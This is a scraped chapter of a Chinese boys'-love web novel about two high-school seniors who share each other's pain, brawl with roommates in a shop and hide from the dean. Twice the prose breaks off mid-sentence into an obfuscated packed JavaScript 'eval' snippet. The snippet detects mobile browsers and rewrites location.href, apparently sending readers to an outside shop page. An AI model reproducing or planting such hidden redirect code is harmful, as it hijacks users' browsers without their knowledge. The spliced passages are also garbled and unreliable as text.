没错,calmdown,他现在要的就是这个。 说实在的,萧驰焕那种不着边际的行为,顾檐声也理解。 他们从小一起长大,小时候没少亲来亲去,一起洗澡的时候甚至抓过对方的鸟,摸对方的手就跟摸自己的手似的,彼此之间太熟悉,很难有边界感。 要不是萧驰焕太不拘小节,他也不会这么快下定决心离开,否则再这么相处下去,他就把持不住了,萧驰焕但凡不瞎,就一定能看出端倪, 现在回想起来,都是直男的小把戏罢了。 顾檐声原本躁动的心渐渐冷却下来,只剩下难以言喻的酸涩和怅然。 上辈子杀人放火,这辈子爱上直男。 …… 上午的课程很快过去,到了中午,顾檐声跟着室友一起去食堂吃午饭。 路过萧驰焕他们班时,顾檐声习惯性往里瞄了一眼。 萧驰焕屁股底下垫着枕头,正难受地趴在桌上躺尸,跟死了似的,头顶两根永远傻乎乎矗立的呆毛都蔫儿了下来。 顾檐声手指抠了抠掌心,没想到这人是真的不舒服。 直到他跟室友们一起在食堂吃完饭,他脑子里也还是萧驰焕那两根焉了吧唧的呆毛。 顾檐声没多做犹豫,擦干净嘴巴,果断端起盘子,起身道:“我要去超市,你们需要我帮忙带点什么吗?” 反正暗恋萧驰焕的女生那么多,只要他像以前一样,把东西偷偷塞进他抽屉里,没人会知道是谁放的。 以那个馋嘴猪的德行,掉块金子他或许还能拾金不昧,但要是个吃的,就别想在他面前存活一分钟。 禹洪淼打了一个嗝,摸摸肚皮说:“我正好想吃辣条,那一起走吧。” 顾檐声试图劝一下:“不是才吃完饭吗?” 禹洪淼不以为然:“没完啊,饭后甜点都还没吃,怎么能算吃完呢?” 岑修竹生怕这俩把自己丢下了,赶快把最后两口扒干净:“你俩都要去啊,那我也要去。” 冯萌已经端着盘子站了起来:“走吧,再晚点儿人更多了。” 顾檐声:“……” 没办法,最后只能一个寝室四个人,组团去超市扫荡。 顾檐声趁室友在争哪个牌子的辣条更好吃的时候,偷偷跑去另一个货架找面包,他记得有个口味萧驰焕特别喜欢。 可惜他运气不太好,找到的时候这个味道的只剩最后一个了,还不够那个饭桶吃两口。 算了,先拿着,然后再看看别的。 顾檐声伸手,却在即将碰到面包的那一刻,跟一只同时伸过来的手撞到了一起。 那手瘦削修长,净白的皮肤下蜿蜒着淡青色的血管,连关节都弯曲成恰到好处的弧度。 就像萧驰焕通过背影,就能一眼认出顾檐声一样,顾檐声也一眼认出了这手的主人。 他淡定地收回手,沿着那手往上一看,果然对上了萧驰焕一张帅气的嬉皮笑脸。 顾檐声说:“你拿吧,我不要了。” 本来就是打算买给萧驰焕的,既然本人直接来了,就不用他买了。 却没想到萧驰焕也缩回手说:“给你了,我再去看别的。” 顾檐声眉头皱了皱,还没来得及说点什么,一道阴阳怪气的嗓音忽然横插进来道:“哈,谁稀罕。” 伴随着这道充满挑衅的声音,禹洪淼胖胖的身子挤了进来,硬生生把两个人分开了。 回头一看,禹洪淼的身后还跟着同样满眼敌意和警惕的岑修竹和冯萌。 顾檐声:“……” 这波月老来了都救不了。 萧驰焕的心情一样很不爽。 他烦躁地撸了一把头发,在心里暗骂。 妈的,每次他一靠近顾檐声,这仨儿就闻着味儿过来了,狗吗?害他跟声声连个独处的机会都没有! 他不想打架,昨天顾檐声刚摔过,他怕伤到顾檐声。 虽然顾檐声现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775619|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在看起来比他还矫健,但保不齐就是装的呢? 毕竟那人从小就喜欢心里藏事儿,不高兴了就喜欢沉默。 他犹记得儿时,要不是他不小心看到顾檐声的日记本上写满了臭骂他的话,他都没发现他俩闹过别扭。 从那以后,他每次看顾檐声情绪不好,就会去故意招惹人家,让他发泄出来,就怕他把自己憋出毛病来了。 想到这里,萧驰焕伸出一根手指,特意绕过顾檐声的脸,指了指另外三个人:“今天你们人多势众,爸爸就先放过你们这群孙子,免得回头说爷爷欺负你们,下次见面记得绕道走,否则老子不介意你们给爷当儿子!” 顾檐声听得脑瓜子嗡嗡的,这都什么乱七八糟的,但好在萧驰焕没打算掺和,他们单方面也打不起架。 他正要松一口气,胡啸天又忽然不知从哪里冒了出来,一屁股将萧驰焕也挤走了,尖着嗓子叉着腰,疾声厉气道:“你爱要不要,咱萧总给你们这群犬子脸了!” 岑修竹扭着屁股阴阴阳:“哎哟,你们给的脸我还真不稀罕,我嫌丑。” 勤武焱作为萧驰焕的颜值最忠实的拥趸立马怒了:“你居然说咱萧总丑?你眼珠子长肚脐眼儿里了吧!” 冯萌登时炸毛了:“你眼珠子才长肚脐眼儿里了!你全寝室的眼珠子都长肚脐眼儿里了!” 顾檐声不过眨了一下眼睛,两边就扭打在了一起。 你一招还我漂漂拳,我一招面目全非脚。 期间还不小心撞倒了货架,饮料零食哗啦撒了一地,现场顿时一片狼藉。 超市的营业员发出尖锐的爆鸣声,哭着跑出去叫老师了。 货架倒塌的那一刻,顾檐声的心脏差点骤停,他颤巍巍地伸出一只手,发出微弱的声音:“就一袋面包而已,没必要,真没必要……” “臭宝,站在我们身后!”冯萌瘦小的身体毅然决然地挡在顾檐声身前,他比顾檐声矮了整整半个头,此时却高大如山,那是一种名为“友情”的力量,他回头,给了顾檐声一个坚定而宠溺的眼神,“不要怕,兄弟们永远为你冲锋陷阵!” 顾檐声有苦说不出:“……” 其实这个锋不冲也可以。 顾檐声深呼吸,趁乱悄悄摸到萧驰焕身边,拽拽他的袖子,朝他挤眉弄眼:“萧驰焕你说句话啊!快把你兄弟们弄走啊!” 萧驰焕忽然眸色深黑地看向顾檐声,低沉的嗓音似乎暗藏压抑:“他刚才叫你什么?” 顾檐声没懂:“谁?” 嫉妒使萧驰焕面无全非,他眼眶通红,牙齿磨得像电锯,无理取闹道:“他刚才是不是喊你臭宝了?连我都没有喊过你臭宝,他一个区区跟你只认识三年的室友,凭什么这么喊你?” 耳边仿佛响起司马光砸缸的声音。 哐当一声响,某人的醋坛子翻了。 顾檐声:“啊?” 禹洪淼老远看见他俩凑一起,以为萧驰焕又在欺负顾檐声,吼道:“滚你喵的,离老子兄弟远点儿!” 他一边吼,一边气势汹汹地跑过来,趁萧驰焕不注意,一拳砸在萧驰焕的脸上。 顾檐声瞬间红了眼。 ……嗯? 不是,等一下。 顾檐声迷茫地捂住疼痛的脸。 是不是有哪里不太对? 萧驰焕已然被嫉恨蒙蔽了双眼,化身怨夫,谁撞上来就创谁,揪着禹洪淼的衣领就一顿疯狂输出:“日你仙人板板的!老子就是要挨着他,你是他谁啊,管你屁事?你该不会是嫉妒吧?” 禹洪淼差点笑掉大牙:“我嫉妒?你居然说我嫉妒?笑死了!我不仅是他朋友,还是他同寝室友,还是他同班同学,还是他隔壁的隔壁的隔壁的后桌的后桌的后桌的后桌!你说我是他谁?我用得着嫉妒你?” 他目光上下扫视萧驰焕,眼里是明晃晃的轻蔑和不屑:“反而是你,什么身份啊,就在这儿狗叫,你连他普通同学都不是!你算个几把啊!我还嫉妒你?笑死人了!嗤!” 萧驰焕猛地被戳中心里最痛的那个点,脑子轰隆一声,霎时一片空白。 他平生最恨别人拿他跟顾檐声的关系说事。 就算他跟顾檐声有矛盾又怎样?自家事自家解决,这群傻逼算老几啊? 一群外人,凭什么对他和顾檐声的关系指指点点? 居然还恬不知耻地在他面前炫耀! 萧驰焕眼珠霎时一片血红,整个人如同一头失去理智的牛一样,气急败坏地冲了上去,眨眼就跟禹洪淼扭打在一起。 萧驰焕被砸了一拳,顾檐声红了眼眶。 萧驰焕被踹一脚,顾檐声眼泪掉出来。 顾檐声一会儿捂肚子,一会儿揉大腿,清亮的眼珠里写满迷茫,委屈得要死! 怎么会这样?! 挨打的明明是萧驰焕,为什么痛的却是他? 谁来为他发声! 萧驰焕余光一直注意着顾檐声那边,此时见顾檐声脸色不对,立刻着急地问道:“顾檐声,你怎么了?哪里不舒服吗?” 禹洪淼趁着这个时机,赶紧飞出一脚:“龙卷风放飞小小鸟,萧老狗吃我绝孙脚!看招!” 一声闷响。 顾檐声倒吸一口凉气,两眼一闭就是黑。 耳边传来萧驰焕惊恐的闷哼:“沃日!痛死我了!……等等,我好像不疼?” 萧驰焕愣了一下,疑惑地低头看了看,裤子上面还有一个明晃晃的脚印。 奇了怪了,这也不是铁做的啊? 而在他身后,顾檐声弯着腰夹着腿,颤抖地倒地不起。 就是说,踹的明明是萧驰焕的蛋,蛋疼的为什么会是他啊…… 萧驰焕的蛋长他雀儿上了??? 4. 赫尔退vs真正男子汉 禹洪淼沾沾自喜地回过头,想欣赏一下萧驰焕痛哭流涕的模样,却见他直挺挺地站在原地,两眼清澈又迷茫。 这怎么可能?! 他明明感觉他的脚踢上去了啊? 禹洪淼视线难以置信地在萧驰焕的身下晃来晃去:“你……你不疼吗?” 萧驰焕虽然也很奇怪,但现在正是装逼的好时候,装模作样道:“你爹我铁骨铮铮真汉子,不过被踹个蛋而已,挠痒痒罢了。” “不可能!你是不是装假肢了!”禹洪淼瞪圆了眼睛,觉得自己发现了一个惊天大秘密! 萧驰焕脸忽的黑了:“放屁!老子天生巨基古巨基,还需要装假肢?” 禹洪淼不信邪,忽然再次伸手,朝萧驰焕的下三路掏过去:“爸爸我今天就大义灭亲,灭了你这个逆子!” “我倒要看看你想灭了谁?”一道威严低沉的嗓音忽然横插进来,整个一中无人不熟悉。 正是他们学校的教导主任! 禹洪淼硬生生在半空中转了一个弯:“赫尔退来了!大家快跑!” 原本打得不分你我的双方迅速分开,然后如脱了缰的野马般往超市外面跑。 “站住!都我在原地不许动!”教导主任连忙像老鹰捉小鸡一样张开双臂,试图用自己矮小的身体堵住超市大门,结果却被一个个人高马大的高中生创得像陀螺一样旋转起来。 顾檐声和萧驰焕一个蛋疼,一个屁股疼,不免落后了一些,于是他们刚跑出超市,教导主任就扶着眩晕的脑袋,慢慢缓了过来。 “又是你们这群混小子在闹事,我看你们就是作业太少,一天天闲得皮痒!”教导主任上了年纪,嗓子容易卡痰,“hei——tui”一声往地上吐了一口痰,抬脚就追,嘴里骂骂嚷嚷,“你们这群兔崽子给我等着,被我逮住有你们好看!” 逃跑的众人一个眼神,默契散开,眨眼就形成了八道不同的逃跑方向。 教导主任左边看看,右边瞅瞅,一时间差点左右脚打架。 远处—— 禹洪淼噗通一声跳进情人湖,如一只灵敏的水猴一般迅速游到对岸,爬起来,然后面朝阳光高举双臂,如同获得了救赎的肖申克。 岑修竹化身大长杆君,躲进竹林,转眼就跟一根根细长的竹子融为一体。 冯萌一个穿墙术去了墙的另一边,定睛一看原来是钻了狗洞。 胡啸天三两下上了树,灵敏得像一只猴。 潘铁心踩着蹦床硬生生跳上了二楼,脚下是暴跳如雷的冤种体育老师。 勤武焱随机打劫一个冤种学弟,抢走了他的校服,套在自己身上,混进了学弟的班里,吓晕一教室的社恐。 乱套了,全乱套了! 教导主任顿时一阵急火攻心,恨不得掐自己的人中。 请问他现在是在什么《真正男子汉》的拍摄现场吗? 啊? 一个个这么有本事,还当什么高中生啊,去当特种兵啊! 好在还有俩跑不快的,他还有机会。 教导主任的视线锁定了萧驰焕的背影,抬脚就追了上去。 萧驰焕回头一看,顿时十分不服气。 凭什么只抓他,不抓顾檐声啊! 顾檐声对上萧驰焕气急败坏的目光,对着他挑衅地竖了一根中指,然后朝跟萧驰焕完全相反的方向跑走了。 靠! 萧驰焕气得跳脚,忽然恶向胆边生,毫无征兆地调转了方向,朝顾檐声的方向疯跑过去。 追在萧驰焕身后的教导主任差点崴了脚。 突然转什么向啊!有没有点交通道德? 他抬头一看,立马高兴坏了,哦豁,原来前面还有一个,不错不错,一下子抓俩,他赚了! 顾檐声听到身后紧逼的脚步声,直觉不对,下意识扭头,然后就看到萧驰焕疯狗一样朝他冲过来,屁股后面还跟着一个赫尔退。 顾檐声脚下差点打滑,暗骂自己手贱。 好好的招惹那傻狗干嘛? 现在好了,那傻子要跟他同归于尽! 下一秒,一个高大的躯体带着一股热气猛地扑到顾檐声身上。 萧驰焕笑声狂傲,低沉滚烫的气喘声直往顾檐声敏感的耳朵里灌:“顾檐声,不求同年同月同日生,但求同年同月同日死。” 顾檐声耳廓被烫得一激灵,下意识道:“都什么时候了还说情话!” 萧驰焕:“啊?” 顾檐声打了自己一巴掌。 清醒一点啊你个死给。 萧驰焕脸一疼,迷茫地摸了摸脸。 顾檐声刚刚是不是隔空扇了他一巴掌? 教导主任每天靠抓学生,微信步数在朋友圈登顶,3万起步上不封顶,练就一双飞毛腿,身体素质能击败全校99%的亚健康学生,顾檐声和萧驰焕目前只能算是残废,还真不一定跑得过。 这么互相拖累下去,只能两败俱伤,顾檐声咬了咬牙,说:“去厕所!” 萧驰焕秒懂,嘴角立马翘起来。 不用任何解释,这是他和顾檐声之间才有的默契。 顾檐声余光瞥见萧驰焕的傻样儿,忍不住嘀咕了一句:“傻狗。” 萧驰焕没听清,凑上去问:“嗯?你刚刚是不是骂我了?” 顾檐声泰然自若:“哪有,我夸你是沈腾带出来的精兵。” 直到跑进男厕所,躲在了门后,萧驰焕才后知后觉,嘿,这是在骂他神经病啊。 萧驰焕故作不满地环住了顾檐声的腰,下巴搁在顾檐声的肩膀上,几乎是条件反射地嗅了嗅顾檐声耳后根弥漫的柠檬味沐浴露的香气。 顾檐声头皮一阵发麻,不自然地推了推他的脑袋,用嘴型问——你干嘛? “厕所太臭了,给我闻一下嘛。”萧驰焕用气音说道,然后干脆把鼻子埋进顾檐声肩窝里深深呼吸起来。 自从初中之后,他就再也没有像现在这样跟顾檐声亲近过了,他都快想死了。 久违的熟悉味道令萧驰焕浑身的毛孔都舒展开来,少年如同一个沉迷猫薄荷的大猫一样眼神瞬间迷醉起来,抱着顾檐声不撒手了。 顾檐声汗毛都炸了,薄红从耳根白皙的皮肤一路飞到脖子,他小声骂:“起来,臭流氓!” 萧驰焕癞皮狗一样抱着他的腰,嘴巴埋在他肩窝里说话:“别这么小气嘛,咱俩什么关系?给我闻一下又怎么了?” 顾檐声揪着萧驰焕的头发往外扯,又不敢动静太大,低斥道:“闻你自己去!” 萧驰焕死皮赖脸地撒娇:“不要嘛,你身上香香的,比我好闻。” 就在顾檐声腿都快软了的时候,门外忽然传来教导主任气冲冲的声音:“顾檐声!萧驰焕!别躲在里面不出声,我知道你们在厕所!” 顾檐声赶紧警告性地用手肘捅了捅萧驰焕硬邦邦的胸大肌。 萧驰焕只好恋恋不舍地收回身子,只是在站回原位后,疑惑地摸了摸自己的脸。 怎么回事?他的脸怎么烫烫的? 不应该啊,他的脸皮不可能这么薄! 而在萧驰焕没注意的角落,顾檐声悄悄揉了揉滚烫的脸,努力平息快速跳动的心脏。 该死的,太久没跟萧驰焕单独相处了,光是稍微贴了一下反应就这么大,真不中用! 教导主任在门口说起了单口相声:“怎么,不打算出来了?该不是掉坑里了吧?要不要我打电话给掏粪大队把你们捞出来啊?” 厕所里自然是没人回应的。 两秒的静默,教导主任趁厕所不注意,一个旋身,悄然滑入厕所。 他如同特警大队一般凌厉地扫视一圈,听到第一个坑里似乎传来动静,目光一凝,鬼鬼祟祟地走到第一个门前,用力一推—— “咿呀!”里面正在蹲坑的男生顿时花容失色地夹起屁股,抓起裤子,瑟瑟发抖地望向教导主任。 教导主任对上男生陌生的脸,微微顿了顿,反应过来,故作严肃地问:“哪个班的?你们班主任是谁?说,上厕所为什么不关门?” 男生痛哭流涕:“对不起赫老师,我不是故意不关门的,是这门坏了,关不紧,这不,您一推就推开了,求您千万别告诉我班主任,我真的知道错了,我不想社死啊!” “我不姓赫!”教导主任板着脸,“这次就算了,再有下次,罚你写检讨!” “谢谢赫老师!我保证没有下一次!”男生飞快用门挡住了教导主任暴躁的脸。 随后,教导主任又依次推开了第二扇门,第三扇门,第四扇门…… 有的有人,有的没人,还顺便抓了俩躲厕所抽烟的,闹得整个厕所兵荒马乱,纷纷大惊失色地呼喊:“赫尔退来了!” 教导主任:“……” 成果还行,也不算白来一趟,就是怎么没看见那俩臭小子呢?他明明看到他俩进来了,总不能真被下水道冲走了吧? 此时教导主任已经来到了最后一扇门前,而他的身影也完全背对着了大门。 教导主任深吸一口气,缓缓伸出了手。 最后一扇门,最后一个希望。 要是还是没人……嗯?推不动? 教导主任眼睛一亮,哐哐哐地拍起门板,气势汹汹地质问:“里面是谁?说话!” “啊?里面是我啊!”门板后面是一道陌生的男声,在厕所的回音里有点失真。 教导主任愣了一下,有点不甘心:“我怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775620|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你是谁?哪个班的,报上名来!” 那男生听到这令人屁股一紧的熟悉问句,总算反应过来外面说话的人是谁,顿时惶恐不安地报告道:“报告赫老师!我真的没有躲在厕所里偷吃辣条和钙片!” 教导主任愤怒:“我不姓赫!” 男生快哭了:“对不起赫老师!我错了!” 趁教导主任和男生说起双人相声的时候,顾檐声赶紧抓起萧驰焕的手,从教导主任的身后悄无声息地溜了出去。 两个人一出厕所就疯狂跑了起来,一刻不停地跑回了五楼高三的楼层。 顾檐声本想在五楼直接跟萧驰焕分道扬镳,各回各家,结果在转弯的时候忽然被萧驰焕拽了一下。 视野一转,就被猝不及防地拉进了走廊旁边的消防通道里。 萧驰焕有心想跟顾檐声好好谈谈。 刚才跑步的时候他的屁股又疼了起来,要不是有顾檐声拽着,他都想直接死在路上了。 这个现象太诡异了,他都怀疑顾檐声是不是给他下了蛊,把痛觉转移到他身上了。 别说,说不定这人真有苗疆血统呢,毕竟他长得那么好看,一看就不正常! 楼道里的温度比外面低好几度,一进来就有凉意扑面而来,令人神清气爽。 经过剧烈的奔跑,两个人都有些喘不过气,一时间谁都没说话,只是撑着膝盖,在空荡荡的楼梯间里交替呼吸。 忽的,顾檐声感觉自己的掌心被一道暖呼呼的力量捏了捏,跟捏猫垫似的。 顾檐声这才想起他俩刚才奔跑时居然一路拉着手,赶紧把萧驰焕的手甩开了。 萧驰焕顿时不乐意了:“我手上是有传染病还是咋地?” 顾檐声非要跟他犟:“说不定呢?” 这下好了,萧驰焕又把他的手抓了回去,开始胡搅蛮缠:“我就要牵怎么了?有本事你把手剁了啊?” “忽然发什么神经?给我撒开!”顾檐声用力抽着手,脸都憋红了,一副对萧驰焕避之若浼的模样。 萧驰焕脸色顿时不太好看,他俩小时候连对方的口水都是抱着吃的,现在居然连牵个手都不情愿。 他气得上头,干脆把顾檐声的手整只抱进胳肢窝里,看顾檐声还敢嫌弃他! 手背上传来热腾腾、黏糊糊的潮湿的感觉,是什么不言而喻。 顾檐声的手开始剧烈颤抖,脑浆一阵沸腾,瞬间发大疯:“啊!脏死了!你个混蛋!” 萧驰焕不服气地抬起手臂,低头闻了闻自己的腋下:“我怎么脏了?我每天都搓澡的好吧!就算我没你香,你也不能恶意诽谤吧!” 顾檐声看见萧驰焕的直男举动,两眼一黑又一黑,内心的崩溃难以言喻。 他一边疯狂捶打萧驰焕的脑袋,一边扯着嗓子挣扎:“滚开啊!不要碰我!你个臭直男!臭死了!离我远点啊!” 顾檐声越是一副要死要活的样子,萧驰焕的逆反心越重,直接用胳肢窝夹住了顾檐声的头,笑得贱兮兮的:“离那么远闻得到吗?来来,凑近点闻,香不香?咱们仙儿还喜欢吗?” 咔擦。 顾檐声脑袋里最后一丝神经也断了。 “萧驰焕!我要杀了你啊啊啊啊啊!你这坨臭狗屎!给我去死去死去死!!!”顾檐声彻底疯了,手脚并用地在萧驰焕身上一顿招呼,如同化身为一头发疯的驴,恨不得直接上嘴咬。 就算他再怎么喜欢萧驰焕,也不代表他能忍受一个脏兮兮臭烘烘的直男对他动手动脚! 萧驰焕完全抱不住暴走的顾檐声,一不留神便脱了手。 他心里大喊不妙,转身就想跑。 下一秒,他的屁股上落下一道大力,萧驰焕整个人被顾檐声一脚踹出了消防通道,然后咸鱼一样面朝大地向前滑了两米。 走廊上几个偷偷喝奶茶的男生女生差点儿把奶茶互相泼到对方头上。 萧驰焕手忙脚乱地爬起来,一边狼狈地抱头鼠窜,一边十分没面子地求饶:“对不起宝宝,我错了我错了!” “谁是你宝宝?我是你爹!”彻底疯狂的顾檐声对着萧驰焕一路发疯般的穷追猛打。 周围几个吃瓜群众已经看呆了,嘴里的奶茶缓缓沿着嘴角流出来,俨然惊得合不拢嘴。 而挨打的萧驰焕,显然已经完全忘了自己把顾檐声拽过来的本来目的。 也不怪全校都误会他俩的关系,就萧驰焕这犯贱程度,能活到现在纯粹是顾檐声心善。 就在顾檐声骑在萧驰焕身上,疯了似的薅他的头发时,两人的肩膀上忽然一左一右落下一只成年人的大手。 “原来在这儿打情骂俏呢?”教导主任阴森森的笑声在头顶响起,“可算是逮着你们了!” 5. 成语接龙vs阿巴阿巴 “你们这群小兔崽子一个个本事大得很啊,还上天入地,不知道的还以为我是在练兵!请问这里是什么军校吗?啊?你们这么有能耐,怎么不去当间谍呢?咱这破学校限制你们发展了是吧?我看你们不是想上学,是想上天!” 办公室里,教导主任对着面前一排八个平均比他高半个头的问题少年一顿狂轰乱炸。 两拨人互看不顺眼,站也不想挨着站,中间空出来的位置能再塞进五个教导主任,都把头扭到另一边,歪眉斜眼的,嫌弃得溢于言表。 禹洪淼这个水里捞出来的,已经快被太阳晒干了,衣服像咸菜一样皱巴巴地粘在身上。 胡啸天和冯萌这两个飞天遁地的,浑身脏兮兮的,一个像刚挖矿回来的,衣服和脸上都是土渣子,一个像刚从树上摘下来的,头上还顶着树杈子和烂叶子。 其他几个身上虽然干净点,但一个个都满头大汗,头发凌乱,造型各有各的狂放不羁。 尤其是顾檐声,他皮肤薄,颜色容易上脸,刚跟萧驰焕打了一架——主要是他单方面殴打萧驰焕,此时更是从额头一路红到锁骨,顶着一头乱糟糟的头发,领口歪七扭八,脖子上甚至还有几道莫名其妙的挠痕,活像跟谁在花田里犯了错似的。 此时,顾檐声正隔着人山人海精准地用眼睛瞄准了萧驰焕,似乎试图用眼神杀死对方,一边暗暗磨牙。 本来直接回教室挺好的,结果这人非要讨打。 这下好了,被教导主任抓了一个现行,都怪这个大傻子! 萧驰焕瞥见顾檐声灼热地望着自己的圆溜溜的大眼睛,还以为跟他卖萌呢,就朝顾檐声暧昧地挤了两下眼睛。 顾檐声:“……” 喵的,看着这傻样儿就来气! 教导主任警惕地左右看看他俩,把桌子拍得震天响:“当着我的面还敢眉来眼去?请问我是死的吗?啊?” “赫老师,您语文不及格,乱用成语!”岑修竹勇猛果敢地指出了老师的错误。 他明明看见萧老狗又在挑衅他们!怎么能说成是眉来眼去呢?太晦气了! 教导主任倒吸一口气,顿时有点呼吸不顺,他捂着胸口,皮笑肉不笑道:“你语文成绩好,那你说说看呢?” 岑修竹一点不谦虚,还真评上了:“他俩这明明就是仇深似海!” 原本正听得昏昏欲睡的禹洪淼一个鲤鱼打挺站直身体,像是开启了什么神奇的开关,下意识接道:“海……海阔天空。” 冯萌紧跟其后:“空前绝后。” 顾檐声:“后来居上。” 萧驰焕:“上下一心。” 胡啸天:“心急如火。” 潘铁心:“火树银花。” 勤武焱:“花天酒地。” 最后一个人说完,八个人齐刷刷将脑袋转向教导主任。 教导主任眉心一跳,下意识摸了摸光溜溜的头顶。 看什么看?没见过这么标准的地中海吗? 勤武焱善意提醒:“赫老师,该您了。” 教导主任:“?” 冯萌散发着绿茶的芳香:“赫老师,您怎么不接啊,是不会吗?” 教导主任:“??” 萧驰焕:“这么简单都不会,要不要我提示您一下啊?” 教导主任:“???” 你们搁他这儿玩儿成语接龙呢? 教导主任只觉得自己眼前一阵发黑,胸闷气短得似乎快要撅过去,要是再继续让这群活阎王待下去,恐命不久矣。 他深吸一口气,怒吼:“都给我滚出去!” 一行人连蹦带跳地蹿了出去,嬉皮笑脸得像是大闹完天宫的猴儿。 办公室里,教导主任把人赶走了才想起来还有重要的话没说,连忙追出门外,对着那群泼猴儿的背影咬牙切齿地喊道:“给我滚回来!我还没说完!” 萧驰焕忍不住回过头,深深地看了教导主任一眼,眼中似有千言万语,最后也不过化作一声百转千回的叹息:“赫老师,人生在世,有些遗憾是正常的,滚出去的学生泼出去的水,我们这一退,就是一辈子!” 顾檐声朝办公室的方向恭恭敬敬地弯腰鞠了一个躬:“生为学生,我很抱歉。” 教导主任:“……” 一群人眨眼就跑得没影了,旁边默默待机了半天的几个学生总算能进办公室送资料了。 “赫老师今天气色真好,和我中午吃的猪肝一个色号呢!” “赫老师,我可以问您个问题吗?您可能会有点生气,就是说,您真的不知道花天酒地后面接什么吗?” “糟了,赫老师在翻白眼,看起来好像是快要死了!” …… 最后,教导主任要求当天所有打架闹事的人一起去超市给老板当面道歉,把当时掉在地上的货品都买下来,帮超市打扫一周卫生,同时每人还有写一份三千字检讨,周一去升旗台上面读。 冯萌对这个惩罚还挺满意:“太好了,终于有正大光明买零食的理由了!我这就去找我妈要零花钱!” 禹洪淼突然来了一个馊主意:“诶,这是不是说明,下次我们什么时候还想吃零食,就去砸超市就可以了?” 顾檐声无情地打碎了他的幻想:“如果你想试试三万字的检讨以及爸妈混合双打的话。” 禹洪淼吓得浑身的肉一抖,搓了搓自己发寒的手臂,连连摇头:“那还是算了,零食还是得有命才能吃。” 离上课还有一段时间,顾檐声让室友们先去超市把东西买下来,回来再平摊。 至于他自己…… 他现在十分、非常、无比急切地需要回宿舍洗一个头! 赫尔退刚才唠叨了半个多小时,顾檐声感觉自己都快被萧驰焕的臭味腌制入味了,天知道他差点儿死在办公室里! 结果回去的路上,顾檐声又被某个讨人嫌的声音叫住了。 “顾檐声,等一下,我有话要跟你说!” 顾檐声倒吸了一口凉气,想了想,突然心生一计,悄悄把一根手指竖在了自己两眼之间。 萧驰焕从后面跑上来,气喘吁吁地将一只手搭在了顾檐声的肩膀上,缓缓转过顾檐声的脸。 下一秒,萧驰焕就对上了一张长着斗鸡眼、流着口水的痴傻的脸。 顾檐声:“阿巴阿巴阿巴阿巴。” “卧槽!”萧驰焕惊恐地松开手。 顾檐声赶紧趁机将身一扭,反从他的胯下逃走了。 “……”萧驰焕大为震撼! 顾檐声居然宁愿当个傻子,都不愿意跟他说句话! 好好好,这么对他是吧? 当谁想跟他说话似的。 哼。 …… 当晚夜里,凌晨两点,男寝里鼾声震天。 萧驰焕端端正正地躺在床上,在黑暗里蓦地睁开一双清明的眼睛,眼珠晶亮如星子。 他没急着起身,而是先用手臂撑着身子,翘着脑袋,仔细听了听寝室里的声音,确定室友们都睡熟了,这才悄悄爬下床,打开窗户,踩着摇摇欲坠的空调外机,翻进了隔壁寝室的窗户。 从头到尾的动作行云流水,像是在上演什么特工片一样自然,一看就是翻窗户的老前辈了。 萧驰焕其实从来没有来过顾檐声的寝室,也不知道顾檐声的床在哪里,但他仍然一眼就锁定了靠窗的上铺挂着的薄荷绿的床帘。 除了他家仙儿,他想不到还有哪个男生会活得这么精致。 更别说,那是顾檐声最喜欢的颜色。 唉,要不说还得是他呢。 他敢说,就连顾檐声本人对自己的了解程度都不一定比得上他。 萧驰焕偷偷摸摸地爬上梯子,轻手轻脚地掀开了床帘。 面前是一坨黑乎乎的人影,连是人是鬼都分不清。 但都黑成一坨了,还能这么好看的,肯定是他家声声没错了! 萧驰焕几乎是迫不及待地躺在了少年身边,然后偷感十足地悄悄用手臂环住了少年的腰,将鼻子埋在少年的后脖颈里,深深地吸了一口气。 鼻腔里瞬间充满了少年干净清爽的柠檬味儿沐浴露的香气,好闻得令人安心。 现在明明是凌晨,萧驰焕却觉得如清晨初醒般神清气爽,整个人从身到心都像被圣水洗涤了一番一样,就差原地升仙了。 就是可惜看不到正脸。 萧驰焕默了两秒,在黑暗里缓缓把嘴唇挪到了顾檐声的耳后根,低沉的气音轻轻飘进少年的梦里:“顾檐声……你睡了吗?” 顾檐声背对着的肩背线条清瘦而平稳。 没动。 倒是萧驰焕的嘴唇在说话时,不小心碰到了顾檐声的耳廓。 冰冰凉凉的触感让萧驰焕激灵了一下,他皱了皱眉,忍不住用自己温热的嘴唇轻轻蹭了蹭,然后抬手摸索到顾檐声的耳朵,手掌整个捂住。 萧驰焕一边给少年暖耳朵,一边对着他轻轻耳语,喑哑磁性的声线带着黏糊糊的热气尽情喷薄在顾檐声凉凉的耳廓上:“那什么,声声啊,要不你翻个身呗?” 这一回,顾檐声终于有动静了。 他先是微微皱了皱眉,然后嘴里含含糊糊地念叨了点什么。 虽然听不清,但萧驰焕直觉这是在骂他。 还没等萧驰焕琢磨出来,骂的是“傻狗”还是“臭狗屎”还是“臭流氓”时候,顾檐声忽然缓缓翻了一个身。 少年恬淡美好的睡颜终于露了出来,正好暴露在一床倾斜的月光下。 银白的月光为少年清隽的五官覆上一层朦胧的面纱,少年白皙的皮肤像上好的瓷器,红润的嘴唇微微张开了一丝缝儿,带着一点濡湿,正在轻缓地呼吸。 好乖,好可爱。 